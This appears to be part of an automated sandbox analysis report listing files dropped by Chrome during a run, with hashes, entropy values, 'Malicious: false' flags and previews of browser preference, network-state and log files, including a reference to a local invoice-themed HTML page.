
Malicious: false

Preview: .t..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...K]8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 206598

Entropy (8bit): 6.0732154769259825

Encrypted: false

SSDEEP: 3072:2FXW1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:8X8jTy8juX0o/74aqfIlUOoSiuRV

MD5: DA16E0F8258DA5934DCB02989C462D8A

SHA1: D37A2B05FED2BEEA4B67ACB759E5DCE9839C85ED

SHA-256: A24427243FBD1B9DB259AC1E5D16E0FBDB44C0FE61D5C27B7D3A1B9085CA34EB

SHA-512: E3BB30772BCF28B59807CDE409B03B0F1C4230DB289A62B458CCE7DD867901380C2B7DA5A9D368C0B9120FA97F0693DF38F3A4535C2C31F21E3EDF9B927FB30
A

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 206598

Entropy (8bit): 6.073216442433262

Encrypted: false

SSDEEP: 3072:2k3W1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:d38jTy8juX0o/74aqfIlUOoSiuRV

MD5: 80070B11C81511B0BFD0974795B475CA

C:\Users\user\AppData\Local\Google\Chrome\User Data\772bef35-5c47-41e8-a66b-079c7b69b05d.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\8b13b6f2-05c0-4b5d-afc2-0d6a292b4bb1.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\9f91e5a2-0746-482d-b7f1-804b79820fdf.tmp
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SHA1: 108EA5638B7E33CF7C4F66E1C00B1C7D7FC8E256

SHA-256: FEBC63A6467BA5CEEDE3D74873A2C4DF0448504DDE96B0D0AECB7ACD49F61B0D

SHA-512: 5F88F59C90BABBAE88CECB696581CB9A0B2FA4BED7A6F14EFC2FE7477179FFD7AF460629DACF116C35B77682657D31AC2B9A057CB627437DC81B93B1496092
C1

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 40

Entropy (8bit): 3.3041625260016576

Encrypted: false

SSDEEP: 3:FkXwgs0oRLn:+taRLn

MD5: 7AE9008C2AA5ED3E5ED52743E082F5BF

SHA1: CD90099842F51474494BFC490433578A89C1B539

SHA-256: 94E7D9BF431A0E3F0FD02F0FBA7321F43DD8B523E3D32092AFC474D3FD5ABF62

SHA-512: 596E66D10186ADAD552F4CF7E74CD438AD19AF4C30950D2D6EB80E9F9430CA475D12BB79423EC8D15EAF37ABE0AD1DCCAE459C356A00055A82155C24A35C6F
14

Malicious: false

Preview: sdPC.....................UO..E.D.Q.o....

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3473

Entropy (8bit): 4.884843136744451

Encrypted: false

SSDEEP: 96:6FGX0G70GhIGpyGzRDYLiEHYDBKGzUGaCGjHGESHG/OG6mhM:6Fe0i0sIIyGzRDYLiEHYDBKSUpCQHrSP

MD5: 494384A177157C36E9017D1FFB39F0BF

SHA1: CE5D9754A70CD84CEE77C9180DB92C69715BE105

SHA-256: 07CF0A5189FAD30A4AA721F4F6DA1B15100991115833EACFA1E2DC84A1B54337

SHA-512: BFB80EEC0C0B5D9E487047703BE49826321A4D249422E0C81E978E6C8A310F41C7B4B8F849229BA87484FDF4831DD6A98FF994D0FDA5CE3D341CE615C15F2F1
C

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607497410","port":443,"protocol_str":"quic"}],"isolation":
[],"network_stats":{"srtt":27387},"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"1324851660
7334226","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":34287},"server":"https://ssl.gstatic.com","supports_spdy":true},{"alternative_service":
[{"advertised_versions":[],"expiration":"13248516607463627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31787},"server":"https://fonts.gstat
ic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607318875","port":443,"protocol_str":"quic"}],"isolation":[],"networ
k_stats":{"srtt":23359},"server":"https://apis.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4941

Entropy (8bit): 4.945907340739864

Encrypted: false

SSDEEP: 48:YcDkKSChkli8AbNqAwiqTlYGlQKHoTw09rf4MqM8C1Nfct/9BhUJo3KhmeSnpNGR:nzLi7z1pIKIX5k0JCKL8mbOTlVuHn

MD5: A014B6968D451FE315FC5998E951E6CF

SHA1: 27790B14B323C64B88C35F3B4A4B989991468072

SHA-256: DBD6BC9BB346880E5AB1AE884C1213D6F091963425FD2647A6B746BAE186E14D

SHA-512: 6216683345B31ED4F40D4A260C7C950E44F61755EB5EF5FC9C926C6705E3515BEC4B6CEA17582C82D66CCCACC5DEE28B913128215B1AF278E08AC20E2B005A4
E

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\357 e30-2921-4f94-97a3-98c8c0064b1c.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\4349f87c-51fe-41bd-bd1c-b4710745b0f2.tmp
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Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298039132434298","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"wor
k_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","
0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17356

Entropy (8bit): 5.571174887205938

Encrypted: false

SSDEEP: 384:VVhteLlBGXd1kXqKf/pUZNCgVLH2HfDLrUXFvL4R:yLlqd1kXqKf/pUZNCgVLH2HfHrUdLu

MD5: 29A5B983F32B96C80F570AD83E766DB2

SHA1: 75BBC52E9FD6A22BE73E0AD47EEBBEF60CDF3FE0

SHA-256: C2BEB5228B2A02495065E5B73274EF3DE3DBF974ED9CC7BE23A9F4753122CA71

SHA-512: A7B96D3D696B631C3C05E47BC50F3E67DB39A8FF0DDE939B62F555AB78A9EF579C1D5D2CFCCFBDC72F463DDC29670A7A3F69AC3F97D9BBD6FAF321A6EF18
A627

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298039131538722","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19796

Entropy (8bit): 5.564387474315564

Encrypted: false

SSDEEP: 384:VVhtfLlBGXd1kXqKf/pUZNCgVLH2HfDLrUoHGrF0L4R:rLlqd1kXqKf/pUZNCgVLH2HfHrUcGuLG

MD5: 4FC343984371A99A4DC5E87303DD7094

SHA1: 6BC4F52082383A7166CC77034943A92C244085AC

SHA-256: 25EB2C8263990171667067591F3D3F18914F5067BFFB28302000D4A0E92CA338

SHA-512: 0EE2AB26776C7062BCD8AC669EB8152B71C4630B606181423FFA038F8D10379A3C72CF4734918F6B9503216AD7057EBFA39C77D7ED5C54B0D5163A4164E87F8C

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298039131538722","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\545cfcbd-68c9-442b-958f-17f4c7418ee2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\897ae4ca-e662-44d3-8e19-9e099278fd37.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8b2b326c-11bd-46ea-9043-9a09ad11a96b.tmp
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Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11217

Entropy (8bit): 6.069602775336632

Encrypted: false

SSDEEP: 192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT

MD5: 90F880064A42B29CCFF51FE5425BF1A3

SHA1: 6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF

SHA-256: 965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268

SHA-512: D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3

Malicious: false

Preview: {"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","w
ifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","
DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7C
MjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+
wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vW
LQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhl
zuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 3:FQxlXNQxlX:qTCT

MD5: 51A2CBB807F5085530DEC18E45CB8569

SHA1: 7AD88CD3DE5844C7FC269C4500228A630016AB5B

SHA-256: 1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC

SHA-512: B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF

Malicious: false

Preview: .f.5................f.5...............

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 369

Entropy (8bit): 5.267092239727292

Encrypted: false

SSDEEP: 6:AXmmAQL+q2Pwkn23iKKdK25+Xqx8chI+IFUtqVfXmCNAGKWZmwYVfXmhAEAQLVkP:AXm3Q+vYf5KkTXfchI3FUtiXmCSGKW/Q

MD5: ED7D65B70A6C1EB78CF494BE08595FC2

SHA1: C035670FC88FD19846B1609902899BC839EFCD73

SHA-256: 3E466046923AAD2B6BAE469EBCD305E71F201E063ED12111DBA5DF415C0473B8

SHA-512: E30A614481A6901E23CF4F8741F25FB735A7AEBFDDA02428A8BB1408F9521676DD19788DD1EEEB18CCCC1A7F5EAD087682B2A0CA0FA79AB7BA53FAC2C8D39
254

Malicious: false

Preview: 2022/05/26-13:45:43.574 3ec Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MAN
IFEST-000001.2022/05/26-13:45:43.576 3ec Recovering log #3.2022/05/26-13:45:43.584 3ec Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput

ed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
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Category: dropped

Size (bytes): 369

Entropy (8bit): 5.267092239727292

Encrypted: false

SSDEEP: 6:AXmmAQL+q2Pwkn23iKKdK25+Xqx8chI+IFUtqVfXmCNAGKWZmwYVfXmhAEAQLVkP:AXm3Q+vYf5KkTXfchI3FUtiXmCSGKW/Q

MD5: ED7D65B70A6C1EB78CF494BE08595FC2

SHA1: C035670FC88FD19846B1609902899BC839EFCD73

SHA-256: 3E466046923AAD2B6BAE469EBCD305E71F201E063ED12111DBA5DF415C0473B8

SHA-512: E30A614481A6901E23CF4F8741F25FB735A7AEBFDDA02428A8BB1408F9521676DD19788DD1EEEB18CCCC1A7F5EAD087682B2A0CA0FA79AB7BA53FAC2C8D39
254

Malicious: false

Preview: 2022/05/26-13:45:43.574 3ec Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MAN
IFEST-000001.2022/05/26-13:45:43.576 3ec Recovering log #3.2022/05/26-13:45:43.584 3ec Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 856

Entropy (8bit): 5.281458800534732

Encrypted: false

SSDEEP: 24:EiIbs4zCtHPqrMhE+tIldY78BJgskfa9yBDOxo71pqfhE:0TC1P2YE+6/UL8E

MD5: 8E5ED0F8B2C199AD9B13428500B1F1C1

SHA1: 8BB56EB54D2DE358A552C10B622C3244CCB182EB

SHA-256: 4688F4E475923753DEC0D27CCA352431C20C211B2EF0E6BB6E9215271EB22C6F

SHA-512: 206125B949A7A5D29AC532859595496F1FAEEF901758B3B19B4D40C35791B79CC6B08F49578ED94EF66B75A26B7F51B8A10BDF23E199FCFA6994E1BA92A0F878

Malicious: false

Preview: ............"j....567..account..c..confirmation..desktop..file..html..in..invoice..user..payment..sign..to..users..your*........567......account......c......confirmation......desktop......fi
le......html......in......invoice......user......payment......sign......to......users......your..2.........5........6........7........a..........c...........d........e.............f.........g........h........i............j........
k........l.........m..........n..............o..............p.........r..........s...........t.............u..........v........y....:...............................................................................................................................
............B............ ........*Dfile:///C:/Users/user/Desktop/Invoice_payment_confirmation_567.html2.Sign in to your account:................J...............'/<@.......

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1812

Entropy (8bit): 4.843919835330201

Encrypted: false

SSDEEP: 48:Y2nzM3qyvKDHGXtwWsm6zsJzRS7sxRsJrMH8DYhbw:JnzMa+KDHGXOwJ0gqG8khM

MD5: 12A60561174708C10BFD1223811AED87

SHA1: 65E1133F96FD3F0294928442D848E13798EF6CFE

SHA-256: FFB0AFD0AF15C7440C28F85D19134BF2BD00CDA36FF9A0C75B1045FC212EE9A0

SHA-512: 6C7510F3E24B83C64B2DD082EAB53B19293E935AA82BF0EAEC9A32BAAC11C6C951EB51F83669733EF33F86E62AEA0ECA2B928D30072AF582110BA0C6EBFFC
3CE

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","suppor
ts_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spd
y":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"serve
r":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.
com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"1330
0631133848188","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"alternative

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4941

Entropy (8bit): 4.945907340739864

Encrypted: false

SSDEEP: 48:YcDkKSChkli8AbNqAwiqTlYGlQKHoTw09rf4MqM8C1Nfct/9BhUJo3KhmeSnpNGR:nzLi7z1pIKIX5k0JCKL8mbOTlVuHn

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
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MD5: A014B6968D451FE315FC5998E951E6CF

SHA1: 27790B14B323C64B88C35F3B4A4B989991468072

SHA-256: DBD6BC9BB346880E5AB1AE884C1213D6F091963425FD2647A6B746BAE186E14D

SHA-512: 6216683345B31ED4F40D4A260C7C950E44F61755EB5EF5FC9C926C6705E3515BEC4B6CEA17582C82D66CCCACC5DEE28B913128215B1AF278E08AC20E2B005A4
E

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298039132434298","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"wor
k_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","
0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19796

Entropy (8bit): 5.564387474315564

Encrypted: false

SSDEEP: 384:VVhtfLlBGXd1kXqKf/pUZNCgVLH2HfDLrUoHGrF0L4R:rLlqd1kXqKf/pUZNCgVLH2HfHrUcGuLG

MD5: 4FC343984371A99A4DC5E87303DD7094

SHA1: 6BC4F52082383A7166CC77034943A92C244085AC

SHA-256: 25EB2C8263990171667067591F3D3F18914F5067BFFB28302000D4A0E92CA338

SHA-512: 0EE2AB26776C7062BCD8AC669EB8152B71C4630B606181423FFA038F8D10379A3C72CF4734918F6B9503216AD7057EBFA39C77D7ED5C54B0D5163A4164E87F8C

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298039131538722","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.971623449303805

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHfHYhsBdLJlyH7E4f3K33y

MD5: 8CA9278965B437DFC789E755E4C61B82

SHA1: 5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6

SHA-256: A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51

SHA-512: 3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F8

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

